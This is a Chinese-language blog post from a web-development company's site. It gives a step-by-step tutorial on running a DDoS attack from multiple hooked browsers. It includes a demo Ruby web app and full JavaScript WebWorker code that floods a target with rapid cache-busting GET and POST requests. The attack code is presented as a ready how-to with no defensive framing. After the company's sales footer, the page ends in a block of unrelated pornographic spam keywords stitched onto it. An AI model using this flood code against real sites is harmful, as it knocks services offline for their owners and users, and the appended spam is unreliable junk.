十年專注于品牌網(wǎng)站建設(shè) 十余年專注于網(wǎng)站建設(shè)_小程序開發(fā)_APP開發(fā),低調(diào)、敢創(chuàng)新、有情懷!
      南昌百恒網(wǎng)絡(luò)微信公眾號(hào) 掃一掃關(guān)注
      小程序
      tel-icon全國(guó)服務(wù)熱線:400-680-9298,0791-88117053
      掃一掃關(guān)注百恒網(wǎng)絡(luò)微信公眾號(hào)
      掃一掃打開百恒網(wǎng)絡(luò)微信小程序

      百恒網(wǎng)絡(luò)

      南昌百恒網(wǎng)絡(luò)

      為您介紹使用多個(gè)勾連瀏覽器DDoS的方法

      百恒網(wǎng)絡(luò) 2017-07-24 5402

      對(duì)Web應(yīng)用的DoS攻擊,不一定要從攻擊者控制的操作系統(tǒng)上發(fā)起。擠壓痛點(diǎn)的HTTP請(qǐng)求可以從任何Web瀏覽器中發(fā)出,甚至可以從多個(gè)瀏覽器中同時(shí)發(fā)出。對(duì)于后一種情況,實(shí)際上就是分布式拒絕服務(wù)攻擊(Distributed Denial-of-Service,DDoS)。

      下面南昌網(wǎng)絡(luò)公司小編以下面這個(gè)簡(jiǎn)單的Ruby Web應(yīng)用為例,為大家做個(gè)演示。

      它接受兩個(gè)請(qǐng)求:一個(gè)POST請(qǐng)求,期待兩個(gè)參數(shù)用于向MySQL數(shù)據(jù)庫(kù)中插入(insert)新數(shù)據(jù);一個(gè)GET請(qǐng)求,通過(guò)聯(lián)結(jié)(join)兩個(gè)表來(lái)查詢同一個(gè)數(shù)據(jù)庫(kù)。

      require 'rubygems'

      require 'thin'

      require 'rack'

      require 'sinatra'

      require 'cgi'

      require 'mysql'

      class Books < Sinatra::Base

      post "/" do

      author = params[:author]

      name = params[:name]

      db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')

      statement = db.prepare "insert into books (name,author)

      values (?,?);"

      statement.execute name, author

      statement.close

      "INSERT successful"

      end

      get "/" do

      book_id = params[:book_id]

      db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')

      statement = db.prepare "select a.author, a.address, b.name

      from author a, books b where a.author = b.author"

      statement.execute

      result = ""

      statement.each do |item|

      result += CGI::escapeHTML(item.inspect)+"

      "

      end

      statement.close

      result

      end

      end

      @routes = {

      "/books" => Books.new,

      }

      @rack_app = Rack::URLMap.new(@routes)

      @thin = Thin::Server.new("172.16.37.150", 80, @rack_app)

      Thin::Logging.silent = true

      Thin::Logging.debug = false

      puts "[#{Time.now}] Thin ready"

      @thin.start

      光看代碼,大家可能就會(huì)發(fā)現(xiàn)應(yīng)用的痛點(diǎn)了。對(duì)數(shù)據(jù)庫(kù)表的聯(lián)結(jié)涉及兩個(gè)表,其中一個(gè)是POST請(qǐng)求會(huì)更新的表。如果你能同時(shí)發(fā)送多個(gè)POST請(qǐng)求,同時(shí)又執(zhí)行多個(gè)GET請(qǐng)求,那么聯(lián)結(jié)操作就會(huì)隨著數(shù)據(jù)增加而繁忙起來(lái)。

      通過(guò)勾連瀏覽器跨域發(fā)送多個(gè)HTTP請(qǐng)求的最好方式是使用WebWorker。這樣基本不會(huì)影響頁(yè)面渲染和瀏覽器的其他操作。WebWorker是HTML5引入的,包括IE10在內(nèi)的所有現(xiàn)代瀏覽器都支持,是一種在后臺(tái)線程中執(zhí)行腳本的機(jī)制。在WebWorker中運(yùn)行的代碼不能直接修改頁(yè)面的DOM,但可以發(fā)送XHR請(qǐng)求。

      那么要啟動(dòng)一個(gè)WebWorker任務(wù)應(yīng)該怎樣做呢?南昌網(wǎng)絡(luò)公司小編溫馨提醒大家,我們可以這樣做,請(qǐng)看以下代碼:

      var worker = new Worker;

      worker.onmessage = function (oEvent) {

      console.log('WebWorker says: '+oEvent.data);

      };

      var data = {};

      data['url'] = url;

      data['delay'] = delay;

      data['method'] = method;

      data['post_data'] = post_data;

      /* 把配置發(fā)給WebWorke */

      worker.postMessage(data);

      這里的postMessage()用于在運(yùn)行JavaScript勾連代碼的DOM與WebWorker之間共享數(shù)據(jù)。

      WebWorker的代碼可以像下面這樣寫:

      var url = "";

      var delay = 0;

      var method = "";

      var post_data = "";

      var counter = 0;

      /* 通過(guò)postMessage取得數(shù)據(jù) */

      onmessage = function (oEvent) {

      url = oEvent.data['url'];

      delay = oEvent.data['delay'];

      method = oEvent.data['method'];

      post_data = oEvent.data['post_data'];

      doRequest();

      };

      /* 給URL添加隨機(jī)參數(shù),避免緩存 */

      function noCache(u){

      var result = "";

      if(u.indexOf("?") > 0){

      result = "&" + Date.now() + Math.random();

      }else{

      result = "?" + Date.now() + Math.random();

      }

      return result;

      }

      /* 每delay毫秒發(fā)送一次POST或GET請(qǐng)求 */

      function doRequest(){

      setInterval(function(){

      var xhr = new XMLHttpRequest();

      xhr.open(method, url + noCache(url));

      xhr.setRequestHeader('Accept','*/*');

      xhr.setRequestHeader("Accept-Language", "en");

      if(method == "POST"){

      xhr.setRequestHeader("Content-Type",

      "application/x-www-form-urlencoded");

      xhr.send(post_data);

      }else{

      xhr.send(null);

      }

      counter++;

      },delay);

      /* 每10秒通知一次調(diào)用者發(fā)送了多少請(qǐng)求 */

      setInterval(function(){

      postMessage("Requests sent: " + counter);

      },10000);

      }

      如果你把這段代碼注入兩個(gè)不同的勾連瀏覽器,讓它們都向前面講到的那個(gè)Ruby Web應(yīng)用發(fā)送請(qǐng)求,就會(huì)看到資源占用逐漸增加。圖1展示了應(yīng)用正常使用過(guò)程中的系統(tǒng)負(fù)載。

      正常的系統(tǒng)負(fù)載

      圖1 正常的系統(tǒng)負(fù)載

      使用前面的JavaScript代碼啟用WebWorker之后,可以看到負(fù)載稍微增加了一些,如圖2所示。

      使用一個(gè)勾連瀏覽器時(shí)的系統(tǒng)負(fù)載

      圖2 使用一個(gè)勾連瀏覽器時(shí)的系統(tǒng)負(fù)載

      在另一個(gè)勾連瀏覽器中啟用另一個(gè)WebWorker,每10毫秒發(fā)送一個(gè)POST請(qǐng)求之后,可以通過(guò)圖3看到系統(tǒng)負(fù)載明顯的變化。與圖2相比,負(fù)載的變化非常大。這是因?yàn)橐粋€(gè)瀏覽器在不斷發(fā)送POST請(qǐng)求,會(huì)導(dǎo)致執(zhí)行數(shù)據(jù)庫(kù)插入語(yǔ)句。而與此同時(shí)另一個(gè)勾連瀏覽器又在發(fā)送GET請(qǐng)求,會(huì)導(dǎo)致聯(lián)結(jié)查詢的數(shù)據(jù)集在每個(gè)請(qǐng)求之后都會(huì)變大。這些后臺(tái)活動(dòng)導(dǎo)致了負(fù)載增加。

      在找到類似的Web應(yīng)用痛點(diǎn)后,不一定非要通過(guò)數(shù)據(jù)庫(kù)操作,通過(guò)上傳文件也可以輕易對(duì)任何Web應(yīng)用制造DoS風(fēng)暴。如果你手中控制了多個(gè)勾連瀏覽器,那么相應(yīng)的DoS攻擊后果會(huì)更加嚴(yán)重,而且你可以讓多個(gè)勾連瀏覽器都指向同一個(gè)目標(biāo),讓每一秒鐘的并發(fā)請(qǐng)求數(shù)量激增。

      使用兩個(gè)勾連瀏覽器時(shí)的系統(tǒng)負(fù)載

      圖3 使用兩個(gè)勾連瀏覽器時(shí)的系統(tǒng)負(fù)載

      以上就是南昌百恒網(wǎng)絡(luò)小編為大家介紹的關(guān)于使用多個(gè)勾連瀏覽器DDoS的方法,說(shuō)了那么多不知道大家都學(xué)會(huì)了沒有?如果還有哪些不明白的地方,可隨時(shí)來(lái)電和我們聯(lián)系。此外,如有南昌網(wǎng)站建設(shè)、微信開發(fā)、手機(jī)APP開發(fā)等方面的需要,百恒網(wǎng)絡(luò)將隨時(shí)為您效勞!


      400-680-9298,0791-88117053
      掃一掃關(guān)注百恒網(wǎng)絡(luò)微信公眾號(hào)
      掃一掃打開百恒網(wǎng)絡(luò)小程序

      歡迎您的光顧,我們將竭誠(chéng)為您服務(wù)×

      售前咨詢 售前咨詢
       
      售前咨詢 售前咨詢
       
      售前咨詢 售前咨詢
       
      售前咨詢 售前咨詢
       
      售前咨詢 售前咨詢
       
      售后服務(wù) 售后服務(wù)
       
      售后服務(wù) 售后服務(wù)
       
      備案專線 備案專線
       
      ×
      久久99精品国产麻豆婷婷| 国内一级特黄女人精品毛片 | 久草视频精品在线| 亚洲日韩精品国产3区| 国产精品视频免费一区二区三区| 青娱乐2017年精品视频在线| 91嫩草亚洲精品| 99久久精品免费精品国产| 午夜不卡久久精品无码免费| 亚洲AV无码国产精品麻豆天美| 国内揄拍高清国内精品对白| 国自产精品手机在线观看视频| 精品人妻V?出轨中文字幕| 国产叼嘿久久精品久久| 亚洲精品国产日韩无码AV永久免费网| 日韩精品中文字幕无码专区| 亚洲日韩乱码中文无码蜜桃臀| 日韩乱码人妻无码中文字幕| 亚洲国产日韩在线观频| 日韩在线中文字幕制服丝袜| 免费精品国产自产拍观看| 国产成人精品影院狼色在线 | 国产亚洲精品线观看动态图| 国产精品hd免费观看| 国产成人久久久精品二区三区| 亚洲精品和日本精品| 亚洲?V乱码久久精品蜜桃| 亚洲AV蜜桃永久无码精品| 一本大道无码人妻精品专区| 亚洲精品色婷婷在线影院| 亚洲精品人成无码中文毛片| 国产69精品久久久久99| 国产精品美女久久久久av爽 | 久久国产精品久久久| 亚洲国产精品嫩草影院在线观看| 久久久久夜夜夜精品国产| 久久91综合国产91久久精品| 国产AV国片精品| 熟妇无码乱子成人精品| 91精品免费不卡在线观看| 激情亚洲一区国产精品|